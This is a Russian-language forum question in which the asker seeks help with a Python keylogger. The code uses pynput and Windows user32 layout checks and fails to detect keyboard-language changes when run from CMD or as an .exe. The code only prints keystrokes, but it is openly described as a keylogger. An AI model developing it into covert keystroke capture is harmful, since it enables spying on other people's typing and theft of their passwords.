Код Python работает в IDE и PyCharm, но не работает, когда файл программы запускается в CMD - PullRequest
0 голосов
/ 04 декабря 2018

Я хочу улучшить простой кейлогер.Его недостатком является то, что когда во время выполнения программы изменяется язык клавиатуры, кейлоггер продолжает писать ключи на языке, который был изначально при запуске программы.Теперь логика выглядит примерно так:

  1. Запустив программу, мы определяем, какой у нас язык клавиатуры, и записываем его в переменную.

  2. Когда пользователь нажимает клавишу на клавиатуре, язык клавиатуры обнаруживается снова, и если язык такой же, как при запуске программы, клавиша записывается, если нет, то выход из программы

Этот код работает в IDE и PyCharm, но по какой-то причине, когда я запускаю файл .py в CMD, код работает неправильно.А именно: кейлоггер работает (нажатия клавиш читаются), но язык клавиатуры не проверяется.Кроме того, если вы компилируете файл .exe, программа также не будет работать правильно (так же, как при запуске файла .py). В идеале, мне нужно, чтобы при смене языка клавиатуры пользователь отображал буквы вязык, который вводит пользователь с клавиатуры.

from pynput.keyboard import Listener
from ctypes import *

user32 = windll.user32

hwnd = user32.GetForegroundWindow()
threadID = user32.GetWindowThreadProcessId(hwnd, None)
StartLang = user32.GetKeyboardLayout(threadID)
print(StartLang)


def on_press(key):
    hwnd = user32.GetForegroundWindow()
    threadID = user32.GetWindowThreadProcessId(hwnd, None)
    CodeLang = user32.GetKeyboardLayout(threadID)
    print(CodeLang)

    if CodeLang == StartLang:
        print(key)
    else:
        exit()


with Listener(on_press=on_press) as listener:
    listener.join()
...